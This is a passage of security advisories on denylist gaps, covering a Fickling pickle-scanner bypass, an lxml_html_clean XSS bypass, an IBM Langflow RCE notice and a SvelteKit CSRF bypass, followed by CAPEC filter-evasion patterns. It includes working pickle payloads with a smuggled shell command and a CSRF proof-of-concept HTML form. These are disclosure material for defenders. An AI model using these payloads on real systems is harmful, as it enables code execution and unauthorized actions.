_osx_support._find_build_tool \u2014 command injection via %s\nosx_payload = Pickled([\n Proto(4),\n Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n ShortBinUnicode(\"_osx_support\"),\n ShortBinUnicode(\"_find_build_tool\"),\n StackGlobal(),\n ShortBinUnicode(\"x; echo INJECTED #\"),\n TupleOne(),\n Reduce(),\n EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n Build(),\n Stop(),\n])\n\n# All three: fickling reports LIKELY_SAFE\nfor name, p in [(\"uuid\", uuid_payload), (\"aix\", aix_payload), (\"osx\", osx_payload)]:\n result = check_safety(p)\n print(f\"{name}: severity={result.severity}, issues={len(result.results)}\")\n # Output: severity=Severity.LIKELY_SAFE, issues=0\n\n# All three: pickle.loads() executes the command\npickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT\n```\n\n### Verified Output\n\n```\n$ python3 poc.py\nuuid: severity=Severity.LIKELY_SAFE, issues=0\naix: severity=Severity.LIKELY_SAFE, issues=0\nosx: severity=Severity.LIKELY_SAFE, issues=0\nPROOF_OF_CONCEPT\n```\n\n## Impact\n\nAn attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.\n\n## Suggested Fix\n\nAdd to `UNSAFE_IMPORTS` in fickling:\n```python\n\"uuid\",\n\"_osx_support\",\n\"_aix_support\",\n```\n\n**Longer term:** Consider an allowlist approach \u2014 only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.\n\n## Resources\n\n- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)\n- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)\n- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)\n- fickling source: `analysis.py` `UNSAFE_IMPORTS` set",
"id": "GHSA-5hwf-rc88-82xm",
"modified": "2026-03-04T21:31:03Z",
"published": "2026-03-04T21:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hwf-rc88-82xm"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling missing RCE-capable modules in UNSAFE_IMPORTS"
}
GHSA-5JFW-GQ64-Q45F
Vulnerability from github – Published: 2024-11-19 21:07 – Updated: 2025-01-14 16:37Impact
The HTML Parser in lxml does not properly handle context-switching for special HTML tags such as <svg>, <math> and <noscript>. This behavior deviates from how web browsers parse and interpret such tags. Specifically, content in CSS comments is ignored by lxml_html_clean but may be interpreted differently by web browsers, enabling malicious scripts to bypass the cleaning process. This vulnerability could lead to Cross-Site Scripting (XSS) attacks, compromising the security of users relying on lxml_html_clean in default configuration for sanitizing untrusted HTML content.
Patches
Users employing the HTML cleaner in a security-sensitive context should upgrade to lxml 0.4.0, which addresses this issue.
Workarounds
As a temporary mitigation, users can configure lxml_html_clean with the following settings to prevent the exploitation of this vulnerability:
* remove_tags: Specify tags to remove - their content is moved to their parents' tags.
* kill_tags: Specify tags to be removed completely.
* allow_tags: Restrict the set of permissible tags, excluding context-switching tags like <svg>, <math> and <noscript>.
References
- https://github.com/fedora-python/lxml_html_clean/pull/19
- https://github.com/fedora-python/lxml_html_clean/pull/19/commits/c5d816f86eb3707d72a8ecf5f3823e0daa1b3808
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lxml-html-clean"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52595"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79",
"CWE-83"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-19T21:07:59Z",
"nvd_published_at": "2024-11-19T22:15:21Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe HTML Parser in lxml does not properly handle context-switching for special HTML tags such as `\u003csvg\u003e`, `\u003cmath\u003e` and `\u003cnoscript\u003e`. This behavior deviates from how web browsers parse and interpret such tags. Specifically, content in CSS comments is ignored by lxml_html_clean but may be interpreted differently by web browsers, enabling malicious scripts to bypass the cleaning process. This vulnerability could lead to Cross-Site Scripting (XSS) attacks, compromising the security of users relying on lxml_html_clean in default configuration for sanitizing untrusted HTML content.\n\n### Patches\n\nUsers employing the HTML cleaner in a security-sensitive context should upgrade to lxml 0.4.0, which addresses this issue.\n\n### Workarounds\n\nAs a temporary mitigation, users can configure lxml_html_clean with the following settings to prevent the exploitation of this vulnerability:\n* `remove_tags`: Specify tags to remove - their content is moved to their parents\u0027 tags.\n* `kill_tags`: Specify tags to be removed completely.\n* `allow_tags`: Restrict the set of permissible tags, excluding context-switching tags like `\u003csvg\u003e`, `\u003cmath\u003e` and `\u003cnoscript\u003e`.\n\n### References\n\n* https://github.com/fedora-python/lxml_html_clean/pull/19\n* https://github.com/fedora-python/lxml_html_clean/pull/19/commits/c5d816f86eb3707d72a8ecf5f3823e0daa1b3808\n",
"id": "GHSA-5jfw-gq64-q45f",
"modified": "2025-01-14T16:37:30Z",
"published": "2024-11-19T21:07:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-5jfw-gq64-q45f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52595"
},
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/pull/19"
},
{
"type": "WEB",
"url": "https://github.com/fedora-python/lxml_html_clean/commit/c5d816f86eb3707d72a8ecf5f3823e0daa1b3808"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedora-python/lxml_html_clean"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/lxml-html-clean/PYSEC-2024-160.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "HTML Cleaner allows crafted scripts in special contexts like svg or math to pass through"
}
GHSA-5JPF-5J69-486Q
Vulnerability from github – Published: 2026-08-05 18:31 – Updated: 2026-08-05 18:31IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to execute arbitrary code due to improper validation of configuration parameters.
{
"affected": [],
"aliases": [
"CVE-2026-17630"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T17:16:44Z",
"severity": "HIGH"
},
"details": "IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to execute arbitrary code due to improper validation of configuration parameters.",
"id": "GHSA-5jpf-5j69-486q",
"modified": "2026-08-05T18:31:37Z",
"published": "2026-08-05T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17630"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7282147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5P75-VC5G-8RV2
Vulnerability from github – Published: 2023-04-04 21:20 – Updated: 2023-06-21 13:48Summary
The SvelteKit framework offers developers an option to create simple REST APIs. This is done by defining a +server.js file, containing endpoint handlers for different HTTP methods.
SvelteKit provides out-of-the-box cross-site request forgery (CSRF) protection to it’s users. The protection is implemented at kit/src/runtime/server/respond.js#L52. While the implementation does a sufficient job in mitigating common CSRF attacks, the protection can be bypassed by simply specifying a different Content-Type header value.
Details
The CSRF protection is implemented using the code shown below.
const forbidden =
// (1)
request.method === 'POST' &&
// (2)
request.headers.get('origin') !== url.origin &&
// (3)
is_form_content_type(request);
if (forbidden) {
// (4)
const csrf_error = error(403, `Cross-site ${request.method} form submissions are forbidden`);
if (request.headers.get('accept') === 'application/json') {
return json(csrf_error.body, { status: csrf_error.status });
}
return text(csrf_error.body.message, { status: csrf_error.status });
}
If the incoming request specifies a POST method (1), the protection will compare the server’s origin with the value of the HTTP Origin header (2). A mismatch between these values signals that a potential attack has been detected. The final check is performed on the request’s Content-Type header (3) whether the value is either application/x-www-form-urlencoded or multipart/form-data (kit/src/utils/http.js#L71). If all the previous checks pass, the request will be rejected with an 403 error response (4).
The is_form_content_type validation is not sufficient to mitigate all possible variations of this type of attack. If a CSRF attack is performed with the Content-Type header set to text/plain, the protection will be circumvented and the request will be processed by the endpoint handler.
Impact
If abused, this issue will allow malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim's session, and in extreme scenarios can lead to unauthorized access to users’ accounts.
Remediation
SvelteKit 1.15.1 updates the is_form_content_type function call in the CSRF protection logic to include text/plain.
As additional hardening of the CSRF protection mechanism against potential method overrides, SvelteKit 1.15.1 is now performing validation on PUT, PATCH and DELETE methods as well. This latter hardening is only needed to protect users who have put in some sort of ?_method= override feature themselves in their handle hook, so that the request that resolve sees could be PUT/PATCH/DELETE when the browser issues a POST request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@sveltejs/kit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29003"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-04T21:20:47Z",
"nvd_published_at": "2023-04-04T22:15:00Z",
"severity": "HIGH"
},
"details": "### Summary\nThe SvelteKit framework offers developers an option to create simple REST APIs. This is done by defining a `+server.js` file, containing endpoint handlers for different HTTP methods.\n\nSvelteKit provides out-of-the-box cross-site request forgery (CSRF) protection to it\u2019s users. The protection is implemented at `kit/src/runtime/server/respond.js#L52`. While the implementation does a sufficient job in mitigating common CSRF attacks, the protection can be bypassed by simply specifying a different `Content-Type` header value.\n\n### Details\nThe CSRF protection is implemented using the code shown below.\n\n```js\nconst forbidden =\n // (1)\n request.method === \u0027POST\u0027 \u0026\u0026\n // (2)\n request.headers.get(\u0027origin\u0027) !== url.origin \u0026\u0026\n // (3)\n is_form_content_type(request);\n\nif (forbidden) {\n // (4)\n const csrf_error = error(403, `Cross-site ${request.method} form submissions are forbidden`);\n if (request.headers.get(\u0027accept\u0027) === \u0027application/json\u0027) {\n return json(csrf_error.body, { status: csrf_error.status });\n }\n return text(csrf_error.body.message, { status: csrf_error.status });\n}\n```\nIf the incoming request specifies a POST method (1), the protection will compare the server\u2019s origin with the value of the HTTP `Origin` header (2). A mismatch between these values signals that a potential attack has been detected. The final check is performed on the request\u2019s `Content-Type` header (3) whether the value is either `application/x-www-form-urlencoded` or `multipart/form-data` (`kit/src/utils/http.js#L71`). If all the previous checks pass, the request will be rejected with an 403 error response (4).\n\nThe `is_form_content_type` validation is not sufficient to mitigate all possible variations of this type of attack. If a CSRF attack is performed with the `Content-Type` header set to `text/plain`, the protection will be circumvented and the request will be processed by the endpoint handler.\n\u003c!--\n### PoC\nTo reproduce this issue, create and run a simple server (by default running on `localhost:3000`) with a POST endpoint handler such as:\n\n```js\nexport async function POST({ request }) {\n const data = await request.json(); \n console.log(JSON.stringify(data));\n return new Response(String(\u0027success\u0027));\n}\n```\n\nNext, save the malicious HTML page:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003c/head\u003e\n\u003cbody\u003e\n \u003ch1 id=\"name\"\u003e\u003c/h1\u003e\n \u003cform action=\"http://localhost:3000/api/test\" method=\"POST\" enctype=\"text/plain\"\u003e\n \u003cinput type=\"hidden\" name=\"\u0026#123;\u0026quot;name\u0026quot;\u0026#58;\u0026quot;test\" value=\"\u0026quot;\u0026#44;\u0026quot;age\u0026quot;\u0026#58;123\u0026#125;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit\" /\u003e\n \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nin a file named `index.html`. Run another web server, using Python\u2019s built in http.server module (`python -m http.server`, by default running on `localhost:8000`), navigate to [http://localhost:8000/index.html](http://localhost:8000/index.html) and click the `Submit` button. \n\nVerify that the browser\u2019s URL has changed to `localhost:3000` and that the text `success` is displayed on the screen. Additionally, inspect the console of the SvelteKit web server and verify that the request body (`{\"name\":\"test=\",\"age\":123}`) was parsed as valid JSON and printed out. \n\nIt\u0027s worth noting that this attack is possible only for JSON request bodies. Form data sent using `text/plain` will be rejected by the server. \n--\u003e\n### Impact\n\nIf abused, this issue will allow malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim\u0027s session, and in extreme scenarios can lead to unauthorized access to users\u2019 accounts.\n\n### Remediation\n\nSvelteKit 1.15.1 updates the `is_form_content_type` function call in the CSRF protection logic to include `text/plain`.\n\nAs additional hardening of the CSRF protection mechanism against potential method overrides, SvelteKit 1.15.1 is now performing validation on PUT, PATCH and DELETE methods as well. This latter hardening is only needed to protect users who have put in some sort of `?_method=` override feature themselves in their `handle` hook, so that the request that `resolve` sees could be `PUT`/`PATCH`/`DELETE` when the browser issues a `POST` request.",
"id": "GHSA-5p75-vc5g-8rv2",
"modified": "2023-06-21T13:48:08Z",
"published": "2023-04-04T21:20:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/security/advisories/GHSA-5p75-vc5g-8rv2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29003"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/commit/bb2253d51d00aba2e4353952d4fb0dcde6c77123"
},
{
"type": "PACKAGE",
"url": "https://github.com/sveltejs/kit"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/releases/tag/%40sveltejs%2Fkit%401.15.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SvelteKit vulnerable to Cross-Site Request Forgery"
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.